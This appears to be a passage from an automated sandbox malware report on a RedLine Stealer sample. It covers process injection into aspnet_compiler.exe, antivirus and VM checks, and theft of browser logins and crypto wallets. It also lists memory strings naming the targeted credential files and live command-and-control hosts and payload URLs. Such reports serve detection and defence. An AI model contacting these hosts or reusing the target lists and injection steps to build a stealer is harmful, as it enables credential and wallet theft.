Source: StZAEFSb2j.exe, u200f????????????????????????????????????????.cs Reference to suspicious API methods: ('?????????????????????????????????????????', 'OpenProcess@kernel32.dll'), ('?????????????????????????????????????????', 'LoadLibrary@kernel32.dll'), ('?????????????????????????????????????????', 'GetProcAddress@kernel32.dll')
Source: 0.0.StZAEFSb2j.exe.5d0000.0.unpack, u200f????????????????????????????????????????.cs Reference to suspicious API methods: ('?????????????????????????????????????????', 'OpenProcess@kernel32.dll'), ('?????????????????????????????????????????', 'LoadLibrary@kernel32.dll'), ('?????????????????????????????????????????', 'GetProcAddress@kernel32.dll')
Source: 1.0.aspnet_compiler.exe.400000.0.unpack, NativeHelper.cs Reference to suspicious API methods: ('GetProcAddress', 'GetProcAddress@kernel32.dll'), ('LoadLibrary', 'LoadLibrary@kernel32.dll')
Allocates memory in foreign processes
Source: C:\Users\user\Desktop\StZAEFSb2j.exe Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe base: 400000 protect: page execute and read and write Jump to behavior
Injects a PE file into a foreign processes
Source: C:\Users\user\Desktop\StZAEFSb2j.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe base: 400000 value starts with: 4D5A Jump to behavior
Creates a process in suspended mode (likely to inject code)
Source: C:\Users\user\Desktop\StZAEFSb2j.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe Jump to behavior
Source: StZAEFSb2j.exe, 00000000.00000002.318741873.0000000002ACA000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: Shell_TrayWnd
Source: StZAEFSb2j.exe, 00000000.00000002.318741873.0000000002ACA000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: Progman
Queries the volume information (name, serial number etc) of a device
Source: C:\Users\user\Desktop\StZAEFSb2j.exe Queries volume information: C:\Users\user\Desktop\StZAEFSb2j.exe VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe Queries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel\v4.0_4.0.0.0__b77a5c561934e089\System.ServiceModel.dll VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\SMDiagnostics\v4.0_4.0.0.0__b77a5c561934e089\SMDiagnostics.dll VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel.Internals\v4.0_4.0.0.0__31bf3856ad364e35\System.ServiceModel.Internals.dll VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.IdentityModel\v4.0_4.0.0.0__b77a5c561934e089\System.IdentityModel.dll VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Management.dll VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.CSharp\v4.0_4.0.0.0__b03f5f7f11d50a3a\Microsoft.CSharp.dll VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Dynamic\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Dynamic.dll VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\StZAEFSb2j.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid Jump to behavior
Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntivirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM AntivirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiSpyWareProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM AntiSpyWareProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM FirewallProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM FirewallProduct

Stealing of Sensitive Information
barindex
Yara detected RedLine Stealer
Source: Yara match File source: dump.pcap, type: PCAP
Source: Yara match File source: 0.2.StZAEFSb2j.exe.42f9000.5.unpack, type: UNPACKEDPE
Source: Yara match File source: 1.0.aspnet_compiler.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.2.StZAEFSb2j.exe.42f9000.5.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000000.00000002.321721404.00000000042B9000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000001.00000000.316565039.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000001.00000002.415555604.0000000002FAF000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: StZAEFSb2j.exe PID: 780, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: aspnet_compiler.exe PID: 1592, type: MEMORYSTR
Tries to steal Crypto Currency Wallets
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe File opened: C:\Users\user\AppData\Roaming\Ethereum\wallets\ Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\ Jump to behavior
Found many strings related to Crypto-Wallets (likely being stolen)
Source: StZAEFSb2j.exe, 00000000.00000002.321721404.00000000042B9000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: [^\u0020-\u007F]ProcessIdname_on_cardencrypted_valuehttps://ipinfo.io/ip%appdata%\logins{0}\FileZilla\recentservers.xml%appdata%\discord\Local Storage\leveldb\tdataAtomicWalletv10/C \EtFile.IOhereuFile.IOm\walFile.IOletsESystem.UItherSystem.UIeumElectrum[AString-ZaString-z\d]{2String4}\.[String\w-]{String6}\.[\wString-]{2String7}profiles\Windows\valueexpiras21ation_moas21nth
Source: aspnet_compiler.exe, 00000001.00000002.436889284.0000000006526000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: Win32_Process.Handle="3124"oaming\Electrum\wallets\*
Source: StZAEFSb2j.exe, 00000000.00000002.321721404.00000000042B9000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: user.config{0}\FileZilla\sitemanager.xmlcookies.sqlite\Program Files (x86)\configRoninWalletdisplayNamehost_key\Electrum\walletsName\Exodus\exodus.walletnanjmdknhkinifnkgdcggcfnhdaammmjtdataexpires_utc\Program Data\coMANGOokies.sqMANGOlite*ssfn*ExodusDisplayVersion%localappdata%\GuildWalletOpHandlerenVPHandlerN ConHandlernect%DSK_23%YoroiWalletcmdOpera GXhttps://api.ipify.orgcookies//settinString.Removeg[@name=\PasswString.Removeord\]/valuString.RemoveeSaturnWalletWeb DataSteamPathwaasflleasft.datasfCommandLineSOFTWARE\Microsoft\Windows\CurrentVersion\UninstallCookiesis_secureSoftware\Valve\SteamLogin DataID: isSecureNoDefrdDefVPNDefwaasflletasfMewCxv11\Program Files\Opera GX StableSELECT * FROM Win32_Process Where SessionId='nlbmnnijcnlegkjjpcfjclmcfggfefdmnkddgncdjgjfcddamfgcmfnlhccnimig\coFile.IOm.libeFile.IOrty.jFile.IOaxFile.IOxnamefnjhmkhhmkbjkkabndcnnogagogbneecfhilaheimglignddkjgofkcbgekhenbhProfile_Unknowncard_number_encrypted, Name: AppData\Roaming\TReplaceokReplaceenReplaces.tReplacext //settString.Replaceing[@name=\UString.Replacesername\]/vaString.ReplacelueNWinordVWinpn.eWinxe*Winhostmoz_cookiesUser Datawindows-1251, CommandLine: \ExodusDisplayNameexpiry*.vstring.ReplacedfJaxxpathBSJB
Source: StZAEFSb2j.exe, 00000000.00000002.321721404.00000000042B9000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: user.config{0}\FileZilla\sitemanager.xmlcookies.sqlite\Program Files (x86)\configRoninWalletdisplayNamehost_key\Electrum\walletsName\Exodus\exodus.walletnanjmdknhkinifnkgdcggcfnhdaammmjtdataexpires_utc\Program Data\coMANGOokies.sqMANGOlite*ssfn*ExodusDisplayVersion%localappdata%\GuildWalletOpHandlerenVPHandlerN ConHandlernect%DSK_23%YoroiWalletcmdOpera GXhttps://api.ipify.orgcookies//settinString.Removeg[@name=\PasswString.Removeord\]/valuString.RemoveeSaturnWalletWeb DataSteamPathwaasflleasft.datasfCommandLineSOFTWARE\Microsoft\Windows\CurrentVersion\UninstallCookiesis_secureSoftware\Valve\SteamLogin DataID: isSecureNoDefrdDefVPNDefwaasflletasfMewCxv11\Program Files\Opera GX StableSELECT * FROM Win32_Process Where SessionId='nlbmnnijcnlegkjjpcfjclmcfggfefdmnkddgncdjgjfcddamfgcmfnlhccnimig\coFile.IOm.libeFile.IOrty.jFile.IOaxFile.IOxnamefnjhmkhhmkbjkkabndcnnogagogbneecfhilaheimglignddkjgofkcbgekhenbhProfile_Unknowncard_number_encrypted, Name: AppData\Roaming\TReplaceokReplaceenReplaces.tReplacext //settString.Replaceing[@name=\UString.Replacesername\]/vaString.ReplacelueNWinordVWinpn.eWinxe*Winhostmoz_cookiesUser Datawindows-1251, CommandLine: \ExodusDisplayNameexpiry*.vstring.ReplacedfJaxxpathBSJB
Source: aspnet_compiler.exe, 00000001.00000002.416745991.00000000030DB000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: \Ethereum\wallets
Source: StZAEFSb2j.exe, 00000000.00000002.321721404.00000000042B9000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: user.config{0}\FileZilla\sitemanager.xmlcookies.sqlite\Program Files (x86)\configRoninWalletdisplayNamehost_key\Electrum\walletsName\Exodus\exodus.walletnanjmdknhkinifnkgdcggcfnhdaammmjtdataexpires_utc\Program Data\coMANGOokies.sqMANGOlite*ssfn*ExodusDisplayVersion%localappdata%\GuildWalletOpHandlerenVPHandlerN ConHandlernect%DSK_23%YoroiWalletcmdOpera GXhttps://api.ipify.orgcookies//settinString.Removeg[@name=\PasswString.Removeord\]/valuString.RemoveeSaturnWalletWeb DataSteamPathwaasflleasft.datasfCommandLineSOFTWARE\Microsoft\Windows\CurrentVersion\UninstallCookiesis_secureSoftware\Valve\SteamLogin DataID: isSecureNoDefrdDefVPNDefwaasflletasfMewCxv11\Program Files\Opera GX StableSELECT * FROM Win32_Process Where SessionId='nlbmnnijcnlegkjjpcfjclmcfggfefdmnkddgncdjgjfcddamfgcmfnlhccnimig\coFile.IOm.libeFile.IOrty.jFile.IOaxFile.IOxnamefnjhmkhhmkbjkkabndcnnogagogbneecfhilaheimglignddkjgofkcbgekhenbhProfile_Unknowncard_number_encrypted, Name: AppData\Roaming\TReplaceokReplaceenReplaces.tReplacext //settString.Replaceing[@name=\UString.Replacesername\]/vaString.ReplacelueNWinordVWinpn.eWinxe*Winhostmoz_cookiesUser Datawindows-1251, CommandLine: \ExodusDisplayNameexpiry*.vstring.ReplacedfJaxxpathBSJB
Source: aspnet_compiler.exe, 00000001.00000002.416745991.00000000030DB000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: Ethereum
Source: aspnet_compiler.exe, 00000001.00000002.416745991.00000000030DB000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: Il5C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\*
Tries to harvest and steal browser information (history, passwords, etc)
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data Jump to behavior
Yara detected Credential Stealer
Source: Yara match File source: 0.2.StZAEFSb2j.exe.42f9000.5.unpack, type: UNPACKEDPE
Source: Yara match File source: 1.0.aspnet_compiler.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.2.StZAEFSb2j.exe.42f9000.5.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000000.00000002.321721404.00000000042B9000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000001.00000000.316565039.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: StZAEFSb2j.exe PID: 780, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: aspnet_compiler.exe PID: 1592, type: MEMORYSTR

Remote Access Functionality
barindex
Yara detected RedLine Stealer
Source: Yara match File source: dump.pcap, type: PCAP
Source: Yara match File source: 0.2.StZAEFSb2j.exe.42f9000.5.unpack, type: UNPACKEDPE
Source: Yara match File source: 1.0.aspnet_compiler.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.2.StZAEFSb2j.exe.42f9000.5.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000000.00000002.321721404.00000000042B9000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000001.00000000.316565039.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000001.00000002.415555604.0000000002FAF000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: StZAEFSb2j.exe PID: 780, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: aspnet_compiler.exe PID: 1592, type: MEMORYSTR
windows-stand
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Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Is Windows Process
  • Number of created Registry Values
  • Number of created Files
  • Visual Basic
  • Delphi
  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
  • Internet
behaviorgraph top1 signatures2 2 Behavior Graph ID: 736967 Sample: StZAEFSb2j.exe Startdate: 03/11/2022 Architecture: WINDOWS Score: 100 26 Snort IDS alert for network traffic 2->26 28 Malicious sample detected (through community Yara rule) 2->28 30 Antivirus detection for URL or domain 2->30 32 8 other signatures 2->32 7 StZAEFSb2j.exe 15 3 2->7         started        process3 dnsIp4 20 tgc8x.tk 50.115.174.192, 443, 49695, 49696 VIRPUS United States 7->20 18 C:\Users\user\AppData\...\StZAEFSb2j.exe.log, CSV 7->18 dropped 34 Writes to foreign memory regions 7->34 36 Allocates memory in foreign processes 7->36 38 Injects a PE file into a foreign processes 7->38 40 Contains functionality to check if a debugger is running (CheckRemoteDebuggerPresent) 7->40 12 aspnet_compiler.exe 14 30 7->12         started        file5 signatures6 process7 dnsIp8 22 194.55.186.201, 49697, 49699, 49700 MOD-EUNL Germany 12->22 24 api.ip.sb 12->24 42 Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines) 12->42 44 Queries sensitive disk information (via WMI, Win32_DiskDrive, often done to detect virtual machines) 12->44 46 Tries to harvest and steal browser information (history, passwords, etc) 12->46 48 Tries to steal Crypto Currency Wallets 12->48 16 conhost.exe 12->16         started        signatures9 process10
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
50.115.174.192
 tgc8x.tk United States
32875 VIRPUS true
194.55.186.201
 unknown Germany
39855 MOD-EUNL true

Contacted Domains

Name IP Active
tgc8x.tk 50.115.174.192 true
api.ip.sb unknown unknown

Contacted URLs

Name Malicious Antivirus Detection Reputation
https://tgc8x.tk/tt/BLACKDEV.txt true
  • Avira URL Cloud: phishing
 unknown
194.55.186.201:6008 true
  • Avira URL Cloud: safe
 unknown
https://tgc8x.tk/tt/lamb.txt true
  • Avira URL Cloud: phishing
 unknown
http://194.55.186.201:6008/ true
  • Avira URL Cloud: safe
 unknown